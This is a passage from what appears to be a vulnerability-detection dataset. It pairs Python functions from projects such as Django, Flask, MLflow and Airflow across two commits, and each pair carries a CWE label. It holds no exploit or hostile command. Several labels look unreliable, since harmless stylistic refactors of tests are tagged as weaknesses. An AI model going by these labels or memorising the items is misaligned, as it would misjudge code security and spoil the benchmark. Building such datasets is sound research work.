        if 'groups' in load:
            tdata['groups'] = load['groups']

        try:
            with salt.utils.fopen(t_path, 'w+b') as fp_:
                fp_.write(self.serial.dumps(tdata))
        except (IOError, OSError):
            log.warning('Authentication failure: can not write token file ""{0}"".'.format(t_path))
            return {}
        return tdata"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/ssh_exception.py,0,"def __init__(self, errors):
        """"""
        :param dict errors:
            The errors dict to store, as described by class docstring.
        """"""
        addrs = list(errors.keys())
        body = ', '.join([x[0] for x in addrs[:-1]])
        tail = addrs[-1][0]
        msg = ""Unable to connect to port {0} on {1} or {2}""
        super(NoValidConnectionsError, self).__init__(
            None, # stand-in for errno
            msg.format(addrs[0][1], body, tail)
        )
        self.errors = errors",,paramiko/paramiko,858c167a6487e4a9d9cca3653b8e260f085dba02,"def __init__(self, errors):
        """"""
        :param dict errors:
            The errors dict to store, as described by class docstring.
        """"""
        addrs = errors.keys()
        body = ', '.join([x[0] for x in addrs[:-1]])
        tail = addrs[-1][0]
        msg = ""Unable to connect to port {0} on {1} or {2}""
        super(NoValidConnectionsError, self).__init__(
            None, # stand-in for errno
            msg.format(addrs[0][1], body, tail)
        )
        self.errors = errors"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/helpers.py,0,"def url_for(endpoint, **values):
    """"""Generates a URL to the given endpoint with the method provided.

    Variable arguments that are unknown to the target endpoint are appended
    to the generated URL as query arguments.  If the value of a query argument
    is ``None``, the whole pair is skipped.  In case blueprints are active
    you can shortcut references to the same blueprint by prefixing the
    local endpoint with a dot (``.``).

    This will reference the index function local to the current blueprint::

        url_for('.index')

    For more information, head over to the :ref:`Quickstart <url-building>`.

    To integrate applications, :class:`Flask` has a hook to intercept URL build
    errors through :attr:`Flask.url_build_error_handlers`.  The `url_for`
    function results in a :exc:`~werkzeug.routing.BuildError` when the current
    app does not have a URL for the given endpoint and values.  When it does, the
    :data:`~flask.current_app` calls its :attr:`~Flask.url_build_error_handlers` if
    it is not ``None``, which can return a string to use as the result of
    `url_for` (instead of `url_for`'s default to raise the
    :exc:`~werkzeug.routing.BuildError` exception) or re-raise the exception.
    An example::

        def external_url_handler(error, endpoint, values):
            ""Looks up an external URL when `url_for` cannot build a URL.""
            # This is an example of hooking the build_error_handler.
            # Here, lookup_url is some utility function you've built
            # which looks up the endpoint in some external URL registry.
            url = lookup_url(endpoint, **values)
            if url is None:
                # External lookup did not have a URL.
                # Re-raise the BuildError, in context of original traceback.
                exc_type, exc_value, tb = sys.exc_info()
                if exc_value is error:
                    raise exc_type, exc_value, tb
                else:
                    raise error
            # url_for will use this result, instead of raising BuildError.
            return url

        app.url_build_error_handlers.append(external_url_handler)

    Here, `error` is the instance of :exc:`~werkzeug.routing.BuildError`, and
    `endpoint` and `values` are the arguments passed into `url_for`.  Note
    that this is for building URLs outside the current application, and not for
    handling 404 NotFound errors.

    .. versionadded:: 0.10
       The `_scheme` parameter was added.

    .. versionadded:: 0.9
       The `_anchor` and `_method` parameters were added.

    .. versionadded:: 0.9
       Calls :meth:`Flask.handle_build_error` on
       :exc:`~werkzeug.routing.BuildError`.

    :param endpoint: the endpoint of the URL (name of the function)
    :param values: the variable arguments of the URL rule
    :param _external: if set to ``True``, an absolute URL is generated. Server
      address can be changed via ``SERVER_NAME`` configuration variable which
      falls back to the `Host` header, then to the IP and port of the request.
    :param _scheme: a string specifying the desired URL scheme. The `_external`
      parameter must be set to ``True`` or a :exc:`ValueError` is raised. The default
      behavior uses the same scheme as the current request, or
      ``PREFERRED_URL_SCHEME`` from the :ref:`app configuration <config>` if no
      request context is available. As of Werkzeug 0.10, this also can be set
      to an empty string to build protocol-relative URLs.
    :param _anchor: if provided this is added as anchor to the URL.
    :param _method: if provided this explicitly specifies an HTTP method.
    """"""
    appctx = _app_ctx_stack.top
    reqctx = _request_ctx_stack.top

    if appctx is None:
        raise RuntimeError(
            'Attempted to generate a URL without the application context being'
            ' pushed. This has to be executed when application context is'
            ' available.'
        )

    # If request specific information is available we have some extra
    # features that support ""relative"" URLs.
    if reqctx is not None:
        url_adapter = reqctx.url_adapter
        blueprint_name = request.blueprint

        if endpoint[:1] == '.':
            if blueprint_name is not None:
                endpoint = blueprint_name + endpoint
            else:
                endpoint = endpoint[1:]

        external = values.pop('_external', False)

    # Otherwise go with the url adapter from the appctx and make
    # the URLs external by default.
    else:
        url_adapter = appctx.url_adapter

        if url_adapter is None:
            raise RuntimeError(
                'Application was not able to create a URL adapter for request'
                ' independent URL generation. You might be able to fix this by'
                ' setting the SERVER_NAME config variable.'
            )

        external = values.pop('_external', True)

    anchor = values.pop('_anchor', None)
    method = values.pop('_method', None)
    scheme = values.pop('_scheme', None)
    appctx.app.inject_url_defaults(endpoint, values)

    # This is not the best way to deal with this but currently the
    # underlying Werkzeug router does not support overriding the scheme on
    # a per build call basis.
    old_scheme = None
    if scheme is not None:
        if not external:
            raise ValueError('When specifying _scheme, _external must be True')
        old_scheme = url_adapter.url_scheme
        url_adapter.url_scheme = scheme

    try:
        try:
            rv = url_adapter.build(endpoint, values, method=method,
                                   force_external=external)
        finally:
            if old_scheme is not None:
                url_adapter.url_scheme = old_scheme
    except BuildError as error:
        # We need to inject the values again so that the app callback can
        # deal with that sort of stuff.
        values['_external'] = external
        values['_anchor'] = anchor
        values['_method'] = method
        values['_scheme'] = scheme
        return appctx.app.handle_url_build_error(error, endpoint, values)

    if anchor is not None:
        rv += '#' + url_quote(anchor)
    return rv",,pallets/flask,c88e4634a5fa4460f582a8e9315dc78da41543e8,"def url_for(endpoint, **values):
    """"""Generates a URL to the given endpoint with the method provided.

    Variable arguments that are unknown to the target endpoint are appended
    to the generated URL as query arguments.  If the value of a query argument
    is ``None``, the whole pair is skipped.  In case blueprints are active
    you can shortcut references to the same blueprint by prefixing the
    local endpoint with a dot (``.``).

    This will reference the index function local to the current blueprint::

        url_for('.index')

    For more information, head over to the :ref:`Quickstart <url-building>`.

    To integrate applications, :class:`Flask` has a hook to intercept URL build
    errors through :attr:`Flask.url_build_error_handlers`.  The `url_for`
    function results in a :exc:`~werkzeug.routing.BuildError` when the current
    app does not have a URL for the given endpoint and values.  When it does, the
    :data:`~flask.current_app` calls its :attr:`~Flask.url_build_error_handlers` if
    it is not ``None``, which can return a string to use as the result of
    `url_for` (instead of `url_for`'s default to raise the
    :exc:`~werkzeug.routing.BuildError` exception) or re-raise the exception.
    An example::

        def external_url_handler(error, endpoint, values):
            ""Looks up an external URL when `url_for` cannot build a URL.""
            # This is an example of hooking the build_error_handler.
            # Here, lookup_url is some utility function you've built
            # which looks up the endpoint in some external URL registry.
            url = lookup_url(endpoint, **values)
            if url is None:
                # External lookup did not have a URL.
                # Re-raise the BuildError, in context of original traceback.
                exc_type, exc_value, tb = sys.exc_info()
                if exc_value is error:
                    raise exc_type, exc_value, tb
                else:
                    raise error
            # url_for will use this result, instead of raising BuildError.
            return url

        app.url_build_error_handlers.append(external_url_handler)

    Here, `error` is the instance of :exc:`~werkzeug.routing.BuildError`, and
    `endpoint` and `values` are the arguments passed into `url_for`.  Note
    that this is for building URLs outside the current application, and not for
    handling 404 NotFound errors.

    .. versionadded:: 0.10
       The `_scheme` parameter was added.

    .. versionadded:: 0.9
       The `_anchor` and `_method` parameters were added.

    .. versionadded:: 0.9
       Calls :meth:`Flask.handle_build_error` on
       :exc:`~werkzeug.routing.BuildError`.

    :param endpoint: the endpoint of the URL (name of the function)
    :param values: the variable arguments of the URL rule
    :param _external: if set to ``True``, an absolute URL is generated. Server
      address can be changed via ``SERVER_NAME`` configuration variable which
      defaults to `localhost`.
    :param _scheme: a string specifying the desired URL scheme. The `_external`
      parameter must be set to ``True`` or a :exc:`ValueError` is raised. The default
      behavior uses the same scheme as the current request, or
      ``PREFERRED_URL_SCHEME`` from the :ref:`app configuration <config>` if no
      request context is available. As of Werkzeug 0.10, this also can be set
      to an empty string to build protocol-relative URLs.
    :param _anchor: if provided this is added as anchor to the URL.
    :param _method: if provided this explicitly specifies an HTTP method.
    """"""
    appctx = _app_ctx_stack.top
    reqctx = _request_ctx_stack.top

    if appctx is None:
        raise RuntimeError(
            'Attempted to generate a URL without the application context being'
            ' pushed. This has to be executed when application context is'
            ' available.'
        )

    # If request specific information is available we have some extra
    # features that support ""relative"" URLs.
    if reqctx is not None:
        url_adapter = reqctx.url_adapter
        blueprint_name = request.blueprint

        if endpoint[:1] == '.':
            if blueprint_name is not None:
                endpoint = blueprint_name + endpoint
            else:
                endpoint = endpoint[1:]

        external = values.pop('_external', False)

    # Otherwise go with the url adapter from the appctx and make
    # the URLs external by default.
    else:
        url_adapter = appctx.url_adapter

        if url_adapter is None:
            raise RuntimeError(
                'Application was not able to create a URL adapter for request'
                ' independent URL generation. You might be able to fix this by'
                ' setting the SERVER_NAME config variable.'
            )

        external = values.pop('_external', True)

    anchor = values.pop('_anchor', None)
    method = values.pop('_method', None)
    scheme = values.pop('_scheme', None)
    appctx.app.inject_url_defaults(endpoint, values)

    # This is not the best way to deal with this but currently the
    # underlying Werkzeug router does not support overriding the scheme on
    # a per build call basis.
    old_scheme = None
    if scheme is not None:
        if not external:
            raise ValueError('When specifying _scheme, _external must be True')
        old_scheme = url_adapter.url_scheme
        url_adapter.url_scheme = scheme

    try:
        try:
            rv = url_adapter.build(endpoint, values, method=method,
                                   force_external=external)
        finally:
            if old_scheme is not None:
                url_adapter.url_scheme = old_scheme
    except BuildError as error:
        # We need to inject the values again so that the app callback can
        # deal with that sort of stuff.
        values['_external'] = external
        values['_anchor'] = anchor
        values['_method'] = method
        values['_scheme'] = scheme
        return appctx.app.handle_url_build_error(error, endpoint, values)

    if anchor is not None:
        rv += '#' + url_quote(anchor)
    return rv"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,extra/socks/socks.py,0,"def create_connection(address, timeout=socket._GLOBAL_DEFAULT_TIMEOUT,
                    source_address=None):
    """"""
    Patched for DNS-leakage
    """"""
    host, port = address
    sock = None
    try:
        sock = socksocket(socket.AF_INET, socket.SOCK_STREAM)
        if timeout is not socket._GLOBAL_DEFAULT_TIMEOUT:
            sock.settimeout(timeout)
        if source_address:
            sock.bind(source_address)
        sock.connect(address)
    except socket.error:
        if sock is not None:
            sock.close()
        raise
    return sock",,sqlmapproject/sqlmap,408d12dc416cd49de61ba25f4e61f8006d864f20,"def create_connection(address, timeout=socket._GLOBAL_DEFAULT_TIMEOUT,
                    source_address=None):
    """"""
    Patched for DNS-leakage
    """"""
    host, port = address
    err = None
    sock = None
    try:
        sock = socksocket(socket.AF_INET, socket.SOCK_STREAM)
        if timeout is not socket._GLOBAL_DEFAULT_TIMEOUT:
            sock.settimeout(timeout)
        if source_address:
            sock.bind(source_address)
        sock.connect(address)
        return sock

    except error as _:
        err = _
        if sock is not None:
            sock.close()

    if err is not None:
        raise err"
,UNKNOWN,UNKNOWN,django/contrib/admin/views/decorators.py,1,"def _checklogin(request, *args, **kwargs):
        if request.user.is_active and request.user.is_staff:
            # The user is valid. Continue to the admin page.
            return view_func(request, *args, **kwargs)

        assert hasattr(request, 'session'), ""The Django admin requires session middleware to be installed. Edit your MIDDLEWARE_CLASSES setting to insert 'django.contrib.sessions.middleware.SessionMiddleware'.""

        # If this isn't already the login page, display it.
        if LOGIN_FORM_KEY not in request.POST:
            if request.POST:
                message = _(""Please log in again, because your session has expired."")
            else:
                message = """"
            return _display_login_form(request, message)

        # Check that the user accepts cookies.
        if not request.session.test_cookie_worked():
            message = _(""Looks like your browser isn't configured to accept cookies. Please enable cookies, reload this page, and try again."")
            return _display_login_form(request, message)
        else:
            request.session.delete_test_cookie()

        # Check the password.
        username = request.POST.get('username', None)
        password = request.POST.get('password', None)
        user = authenticate(username=username, password=password)
        if user is None:
            message = ERROR_MESSAGE
            if '@' in username:
                # Mistakenly entered e-mail address instead of username? Look it up.
                users = list(User.objects.filter(email=username))
                if len(users) == 1 and users[0].check_password(password):
                    message = _(""Your e-mail address is not your username. Try '%s' instead."") % users[0].username
            return _display_login_form(request, message)

        # The user data is correct; log in the user in and continue.
        else:
            if user.is_active and user.is_staff:
                login(request, user)
                return http.HttpResponseRedirect(request.get_full_path())
            else:
                return _display_login_form(request, ERROR_MESSAGE)",CWE-703,django/django,a607d9d34546a4ff9313d431e275ed0bf365d42a,"def _checklogin(request, *args, **kwargs):
        if request.user.is_active and request.user.is_staff:
            # The user is valid. Continue to the admin page.
            return view_func(request, *args, **kwargs)

        assert hasattr(request, 'session'), ""The Django admin requires session middleware to be installed. Edit your MIDDLEWARE_CLASSES setting to insert 'django.contrib.sessions.middleware.SessionMiddleware'.""

        # If this isn't already the login page, display it.
        if LOGIN_FORM_KEY not in request.POST:
            if request.POST:
                message = _(""Please log in again, because your session has expired."")
            else:
                message = """"
            return _display_login_form(request, message)

        # Check that the user accepts cookies.
        if not request.session.test_cookie_worked():
            message = _(""Looks like your browser isn't configured to accept cookies. Please enable cookies, reload this page, and try again."")
            return _display_login_form(request, message)
        else:
            request.session.delete_test_cookie()

        # Check the password.
        username = request.POST.get('username', None)
        password = request.POST.get('password', None)
        user = authenticate(username=username, password=password)
        if user is None:
            message = ERROR_MESSAGE
            if '@' in username:
                # Mistakenly entered e-mail address instead of username? Look it up.
                users = list(User.objects.filter(email=username))
                if len(users) == 1 and users[0].check_password(password):
                    message = _(""Your e-mail address is not your username. Try '%s' instead."") % users[0].username
                else:
                    # Either we cannot find the user, or if more than 1
                    # we cannot guess which user is the correct one.
                    message = _(""Usernames cannot contain the '@' character."")
            return _display_login_form(request, message)

        # The user data is correct; log in the user in and continue.
        else:
            if user.is_active and user.is_staff:
                login(request, user)
                return http.HttpResponseRedirect(request.get_full_path())
            else:
                return _display_login_form(request, ERROR_MESSAGE)"
,UNKNOWN,UNKNOWN,tests/autologging/test_autologging_client.py,1,"def test_client_logs_expected_run_data():
    client = MlflowAutologgingQueueingClient()

    params_to_log = {
        f""param_key_{i}"": f""param_val_{i}"" for i in range((2 * MAX_PARAMS_TAGS_PER_BATCH) + 1)
    }
    tags_to_log = {
        f""tag_key_{i}"": f""tag_val_{i}"" for i in range((2 * MAX_PARAMS_TAGS_PER_BATCH) + 1)
    }
    metrics_to_log = {f""metric_key_{i}"": i for i in range((4 * MAX_METRICS_PER_BATCH) + 1)}

    with mlflow.start_run(run_name=""my name"") as run:
        client.log_params(run_id=run.info.run_id, params=params_to_log)
        client.set_tags(run_id=run.info.run_id, tags=tags_to_log)
        client.log_metrics(run_id=run.info.run_id, metrics=metrics_to_log)
        client.flush()

    run_params, run_metrics, run_tags = get_run_data(run.info.run_id)
    assert run_params == params_to_log
    assert run_metrics == metrics_to_log
    assert run_tags == tags_to_log
    assert run.info.run_name == ""my name""",CWE-703,mlflow/mlflow,9eeeff414d119c7df72b10da3dda8daf000d85ea,"def test_client_logs_expected_run_data():
    client = MlflowAutologgingQueueingClient()

    params_to_log = {
        ""param_key_{}"".format(i): ""param_val_{}"".format(i)
        for i in range((2 * MAX_PARAMS_TAGS_PER_BATCH) + 1)
    }
    tags_to_log = {
        ""tag_key_{}"".format(i): ""tag_val_{}"".format(i)
        for i in range((2 * MAX_PARAMS_TAGS_PER_BATCH) + 1)
    }
    metrics_to_log = {""metric_key_{}"".format(i): i for i in range((4 * MAX_METRICS_PER_BATCH) + 1)}

    with mlflow.start_run(run_name=""my name"") as run:
        client.log_params(run_id=run.info.run_id, params=params_to_log)
        client.set_tags(run_id=run.info.run_id, tags=tags_to_log)
        client.log_metrics(run_id=run.info.run_id, metrics=metrics_to_log)
        client.flush()

    run_params, run_metrics, run_tags = get_run_data(run.info.run_id)
    assert run_params == params_to_log
    assert run_metrics == metrics_to_log
    assert run_tags == tags_to_log
    assert run.info.run_name == ""my name"""
,UNKNOWN,UNKNOWN,helm_tests/other/test_statsd.py,1,"def test_should_create_statsd_default(self):
        docs = render_chart(show_only=[""templates/statsd/statsd-deployment.yaml""])

        assert jmespath.search(""metadata.name"", docs[0]) == ""release-name-statsd""

        assert jmespath.search(""spec.template.spec.containers[0].name"", docs[0]) == ""statsd""

        assert {""name"": ""config"", ""configMap"": {""name"": ""release-name-statsd""}} in jmespath.search(
            ""spec.template.spec.volumes"", docs[0]
        )

        assert {
            ""name"": ""config"",
            ""mountPath"": ""/etc/statsd-exporter/mappings.yml"",
            ""subPath"": ""mappings.yml"",
        } in jmespath.search(""spec.template.spec.containers[0].volumeMounts"", docs[0])

        default_args = [""--statsd.mapping-config=/etc/statsd-exporter/mappings.yml""]
        assert default_args == jmespath.search(""spec.template.spec.containers[0].args"", docs[0])",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_should_create_statsd_default(self):
        docs = render_chart(show_only=[""templates/statsd/statsd-deployment.yaml""])

        assert ""release-name-statsd"" == jmespath.search(""metadata.name"", docs[0])

        assert ""statsd"" == jmespath.search(""spec.template.spec.containers[0].name"", docs[0])

        assert {""name"": ""config"", ""configMap"": {""name"": ""release-name-statsd""}} in jmespath.search(
            ""spec.template.spec.volumes"", docs[0]
        )

        assert {
            ""name"": ""config"",
            ""mountPath"": ""/etc/statsd-exporter/mappings.yml"",
            ""subPath"": ""mappings.yml"",
        } in jmespath.search(""spec.template.spec.containers[0].volumeMounts"", docs[0])

        default_args = [""--statsd.mapping-config=/etc/statsd-exporter/mappings.yml""]
        assert default_args == jmespath.search(""spec.template.spec.containers[0].args"", docs[0])"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/notebooks/filenbmanager.py,0,"def get_notebook_names(self, path=''):
        """"""List all notebook names in the notebook dir and path.""""""
        path = path.strip('/')
        if not os.path.isdir(self.get_os_path(path=path)):
            raise web.HTTPError(404, 'Directory not found: ' + path)
        names = glob.glob(self.get_os_path('*'+self.filename_ext, path))
        names = [os.path.basename(name)
                 for name in names]
        return names",,jupyter/notebook,3306e386d60889f0003f502bd5958d65ff5c6877,"def get_notebook_names(self, path=''):
        """"""List all notebook names in the notebook dir and path.""""""
        path = path.strip('/')
        if not os.path.isdir(self.get_os_path(path=path)):
            raise web.HTTPError(404, 'Directory not found: ' + path)
        names = glob.glob(self.get_os_path('*'+self.filename_ext, path))
        names = [os.path.basename(name)
                 for name in names]
        return names"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/ovirt/ovirt_storage_domain.py,0,"def control_state(sd_module):
    sd = sd_module.search_entity()
    if sd is None:
        return

    sd_service = sd_module._service.service(sd.id)

    # In the case of no status returned, it's an attached storage domain.
    # Redetermine the corresponding service and entity:
    if sd.status is None:
        sd_service = sd_module._attached_sd_service(sd)
        sd = get_entity(sd_service)

    if sd.status == sdstate.LOCKED:
        wait(
            service=sd_service,
            condition=lambda sd: sd.status != sdstate.LOCKED,
            fail_condition=failed_state,
        )

    if failed_state(sd):
        raise Exception(""Not possible to manage storage domain '%s'."" % sd.name)
    elif sd.status == sdstate.ACTIVATING:
        wait(
            service=sd_service,
            condition=lambda sd: sd.status == sdstate.ACTIVE,
            fail_condition=failed_state,
        )
    elif sd.status == sdstate.DETACHING:
        wait(
            service=sd_service,
            condition=lambda sd: sd.status == sdstate.UNATTACHED,
            fail_condition=failed_state,
        )
    elif sd.status == sdstate.PREPARING_FOR_MAINTENANCE:
        wait(
            service=sd_service,
            condition=lambda sd: sd.status == sdstate.MAINTENANCE,
            fail_condition=failed_state,
        )",,ansible/ansible,b6335a72f190b72cdb745f53e4d72133aa821dd0,"def control_state(sd_module):
    sd = sd_module.search_entity()
    if sd is None:
        return

    sd_service = sd_module._service.service(sd.id)

    # In the case of no status returned, it's an attached storage domain.
    # Redetermine the corresponding serivce and entity:
    if sd.status is None:
        sd_service = sd_module._attached_sd_service(sd)
        sd = get_entity(sd_service)

    if sd.status == sdstate.LOCKED:
        wait(
            service=sd_service,
            condition=lambda sd: sd.status != sdstate.LOCKED,
            fail_condition=failed_state,
        )

    if failed_state(sd):
        raise Exception(""Not possible to manage storage domain '%s'."" % sd.name)
    elif sd.status == sdstate.ACTIVATING:
        wait(
            service=sd_service,
            condition=lambda sd: sd.status == sdstate.ACTIVE,
            fail_condition=failed_state,
        )
    elif sd.status == sdstate.DETACHING:
        wait(
            service=sd_service,
            condition=lambda sd: sd.status == sdstate.UNATTACHED,
            fail_condition=failed_state,
        )
    elif sd.status == sdstate.PREPARING_FOR_MAINTENANCE:
        wait(
            service=sd_service,
            condition=lambda sd: sd.status == sdstate.MAINTENANCE,
            fail_condition=failed_state,
        )"
,UNKNOWN,UNKNOWN,django/forms/boundfield.py,1,"def label_tag(self, contents=None, attrs=None, label_suffix=None):
        """"""
        Wrap the given contents in a <label>, if the field has an ID attribute.
        contents should be mark_safe'd to avoid HTML escaping. If contents
        aren't given, use the field's HTML-escaped label.

        If attrs are given, use them as HTML attributes on the <label> tag.

        label_suffix overrides the form's label_suffix.
        """"""
        contents = contents or self.label
        if label_suffix is None:
            label_suffix = (self.field.label_suffix if self.field.label_suffix is not None
                            else self.form.label_suffix)
        # Only add the suffix if the label does not end in punctuation.
        # Translators: If found as last label character, these punctuation
        # characters will prevent the default label_suffix to be appended to the label
        if label_suffix and contents and contents[-1] not in _(':?.!'):
            contents = format_html('{}{}', contents, label_suffix)
        widget = self.field.widget
        id_ = widget.attrs.get('id') or self.auto_id
        if id_:
            id_for_label = widget.id_for_label(id_)
            if id_for_label:
                attrs = {**(attrs or {}), 'for': id_for_label}
            if self.field.required and hasattr(self.form, 'required_css_class'):
                attrs = attrs or {}
                if 'class' in attrs:
                    attrs['class'] += ' ' + self.form.required_css_class
                else:
                    attrs['class'] = self.form.required_css_class
            attrs = flatatt(attrs) if attrs else ''
            contents = format_html('<label{}>{}</label>', attrs, contents)
        else:
            contents = conditional_escape(contents)
        return mark_safe(contents)",CWE-79,django/django,d13a9e44ded4e93570c6ba42ec84e45ddca2505b,"def label_tag(self, contents=None, attrs=None, label_suffix=None):
        """"""
        Wrap the given contents in a <label>, if the field has an ID attribute.
        contents should be mark_safe'd to avoid HTML escaping. If contents
        aren't given, use the field's HTML-escaped label.

        If attrs are given, use them as HTML attributes on the <label> tag.

        label_suffix overrides the form's label_suffix.
        """"""
        contents = contents or self.label
        if label_suffix is None:
            label_suffix = (self.field.label_suffix if self.field.label_suffix is not None
                            else self.form.label_suffix)
        # Only add the suffix if the label does not end in punctuation.
        # Translators: If found as last label character, these punctuation
        # characters will prevent the default label_suffix to be appended to the label
        if label_suffix and contents and contents[-1] not in _(':?.!'):
            contents = format_html('{}{}', contents, label_suffix)
        widget = self.field.widget
        id_ = widget.attrs.get('id') or self.auto_id
        if id_:
            id_for_label = widget.id_for_label(id_)
            if id_for_label:
                attrs = dict(attrs or {}, **{'for': id_for_label})
            if self.field.required and hasattr(self.form, 'required_css_class'):
                attrs = attrs or {}
                if 'class' in attrs:
                    attrs['class'] += ' ' + self.form.required_css_class
                else:
                    attrs['class'] = self.form.required_css_class
            attrs = flatatt(attrs) if attrs else ''
            contents = format_html('<label{}>{}</label>', attrs, contents)
        else:
            contents = conditional_escape(contents)
        return mark_safe(contents)"
,UNKNOWN,UNKNOWN,django/dispatch/dispatcher.py,1,"def connect(self, receiver, sender=None, weak=True, dispatch_uid=None):
        """"""
        Connect receiver to sender for signal.

        Arguments:

            receiver
                A function or an instance method which is to receive signals.
                Receivers must be hashable objects.

                If weak is True, then receiver must be weak-referencable (more
                precisely saferef.safeRef() must be able to create a reference
                to the receiver).

                Receivers must be able to accept keyword arguments.

                If receivers have a dispatch_uid attribute, the receiver will
                not be added if another receiver already exists with that
                dispatch_uid.

            sender
                The sender to which the receiver should respond. Must either be
                of type Signal, or None to receive events from any sender.

            weak
                Whether to use weak references to the receiver. By default, the
                module will attempt to use weak references to the receiver
                objects. If this parameter is false, then strong references will
                be used.

            dispatch_uid
                An identifier used to uniquely identify a particular instance of
                a receiver. This will usually be a string, though it may be
                anything hashable.
        """"""
        from django.conf import settings

        # If DEBUG is on, check that we got a good receiver
        if settings.configured and settings.DEBUG:
            import inspect
            assert callable(receiver), ""Signal receivers must be callable.""

            # Check for **kwargs
            # Not all callables are inspectable with getargspec, so we'll
            # try a couple different ways but in the end fall back on assuming
            # it is -- we don't want to prevent registration of valid but weird
            # callables.
            try:
                argspec = inspect.getargspec(receiver)
            except TypeError:
                try:
                    argspec = inspect.getargspec(receiver.__call__)
                except (TypeError, AttributeError):
                    argspec = None
            if argspec:
                assert argspec[2] is not None, \
                    ""Signal receivers must accept keyword arguments (**kwargs).""

        if dispatch_uid:
            lookup_key = (dispatch_uid, _make_id(sender))
        else:
            lookup_key = (_make_id(receiver), _make_id(sender))

        if weak:
            receiver = saferef.safeRef(receiver, onDelete=self._remove_receiver)

        with self.lock:
            for r_key, _ in self.receivers:
                if r_key == lookup_key:
                    break
            else:
                self.receivers.append((lookup_key, receiver))
            self.sender_receivers_cache.clear()",CWE-703,django/django,432de546113942be60089a879371073ad09fb4fe,"def connect(self, receiver, sender=None, weak=True, dispatch_uid=None):
        """"""
        Connect receiver to sender for signal.

        Arguments:

            receiver
                A function or an instance method which is to receive signals.
                Receivers must be hashable objects.

                If weak is True, then receiver must be weak-referencable (more
                precisely saferef.safeRef() must be able to create a reference
                to the receiver).

                Receivers must be able to accept keyword arguments.

                If receivers have a dispatch_uid attribute, the receiver will
                not be added if another receiver already exists with that
                dispatch_uid.

            sender
                The sender to which the receiver should respond. Must either be
                of type Signal, or None to receive events from any sender.

            weak
                Whether to use weak references to the receiver. By default, the
                module will attempt to use weak references to the receiver
                objects. If this parameter is false, then strong references will
                be used.

            dispatch_uid
                An identifier used to uniquely identify a particular instance of
                a receiver. This will usually be a string, though it may be
                anything hashable.
        """"""
        from django.conf import settings

        # If DEBUG is on, check that we got a good receiver
        if settings.DEBUG:
            import inspect
            assert callable(receiver), ""Signal receivers must be callable.""

            # Check for **kwargs
            # Not all callables are inspectable with getargspec, so we'll
            # try a couple different ways but in the end fall back on assuming
            # it is -- we don't want to prevent registration of valid but weird
            # callables.
            try:
                argspec = inspect.getargspec(receiver)
            except TypeError:
                try:
                    argspec = inspect.getargspec(receiver.__call__)
                except (TypeError, AttributeError):
                    argspec = None
            if argspec:
                assert argspec[2] is not None, \
                    ""Signal receivers must accept keyword arguments (**kwargs).""

        if dispatch_uid:
            lookup_key = (dispatch_uid, _make_id(sender))
        else:
            lookup_key = (_make_id(receiver), _make_id(sender))

        if weak:
            receiver = saferef.safeRef(receiver, onDelete=self._remove_receiver)

        with self.lock:
            for r_key, _ in self.receivers:
                if r_key == lookup_key:
                    break
            else:
                self.receivers.append((lookup_key, receiver))
            self.sender_receivers_cache.clear()"
,UNKNOWN,UNKNOWN,tests/store/model_registry/test_sqlalchemy_store.py,1,"def test_get_registered_model(store):
    name = ""model_1""
    tags = [
        RegisteredModelTag(""key"", ""value""),
        RegisteredModelTag(""anotherKey"", ""some other value""),
    ]
    # use fake clock
    with mock.patch(""time.time"", return_value=1234):
        rm = _rm_maker(store, name, tags)
        assert rm.name == name
    rmd = store.get_registered_model(name=name)
    assert rmd.name == name
    assert rmd.creation_timestamp == 1234000
    assert rmd.last_updated_timestamp == 1234000
    assert rmd.description is None
    assert rmd.latest_versions == []
    assert rmd.tags == {tag.key: tag.value for tag in tags}",CWE-703,mlflow/mlflow,f432eff6e032022f50f852f331ef89ecc6209623,"def test_get_registered_model(store):
    name = ""model_1""
    tags = [
        RegisteredModelTag(""key"", ""value""),
        RegisteredModelTag(""anotherKey"", ""some other value""),
    ]
    # use fake clock
    with mock.patch(""time.time"") as mock_time:
        mock_time.return_value = 1234
        rm = _rm_maker(store, name, tags)
        assert rm.name == name
    rmd = store.get_registered_model(name=name)
    assert rmd.name == name
    assert rmd.creation_timestamp == 1234000
    assert rmd.last_updated_timestamp == 1234000
    assert rmd.description is None
    assert rmd.latest_versions == []
    assert rmd.tags == {tag.key: tag.value for tag in tags}"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/model_forms/tests.py,0,"def test_assignment_of_none(self):
        class AuthorForm(forms.ModelForm):
            class Meta:
                model = Author
                fields = ['publication', 'full_name']

        publication = Publication.objects.create(title=""Pravda"", date_published=datetime.date(1991, 8, 22))
        author = Author.objects.create(publication=publication, full_name='John Doe')
        form = AuthorForm({'publication': '', 'full_name': 'John Doe'}, instance=author)
        self.assertTrue(form.is_valid())
        self.assertIsNone(form.cleaned_data['publication'])
        author = form.save()
        # author object returned from form still retains original publication object
        # that's why we need to retrieve it from database again
        new_author = Author.objects.get(pk=author.pk)
        self.assertIsNone(new_author.publication)",CWE-Unknown,django/django,13d60298ea2a07242dc3952a9dfcd9c8857bf1f9,"def test_assignment_of_none(self):
        class AuthorForm(forms.ModelForm):
            class Meta:
                model = Author
                fields = ['publication', 'full_name']

        publication = Publication.objects.create(title=""Pravda"", date_published=datetime.date(1991, 8, 22))
        author = Author.objects.create(publication=publication, full_name='John Doe')
        form = AuthorForm({'publication': '', 'full_name': 'John Doe'}, instance=author)
        self.assertTrue(form.is_valid())
        self.assertEqual(form.cleaned_data['publication'], None)
        author = form.save()
        # author object returned from form still retains original publication object
        # that's why we need to retrieve it from database again
        new_author = Author.objects.get(pk=author.pk)
        self.assertEqual(new_author.publication, None)"
,UNKNOWN,UNKNOWN,tests/executors/test_kubernetes_executor.py,1,"def test_adopt_launched_task(self, mock_kube_client):
        executor = self.kubernetes_executor
        executor.scheduler_job_id = ""modified""
        annotations = {
            ""dag_id"": ""dag"",
            ""run_id"": ""run_id"",
            ""task_id"": ""task"",
            ""try_number"": ""1"",
        }
        ti_key = annotations_to_key(annotations)
        pod = k8s.V1Pod(
            metadata=k8s.V1ObjectMeta(name=""foo"", labels={""airflow-worker"": ""bar""}, annotations=annotations)
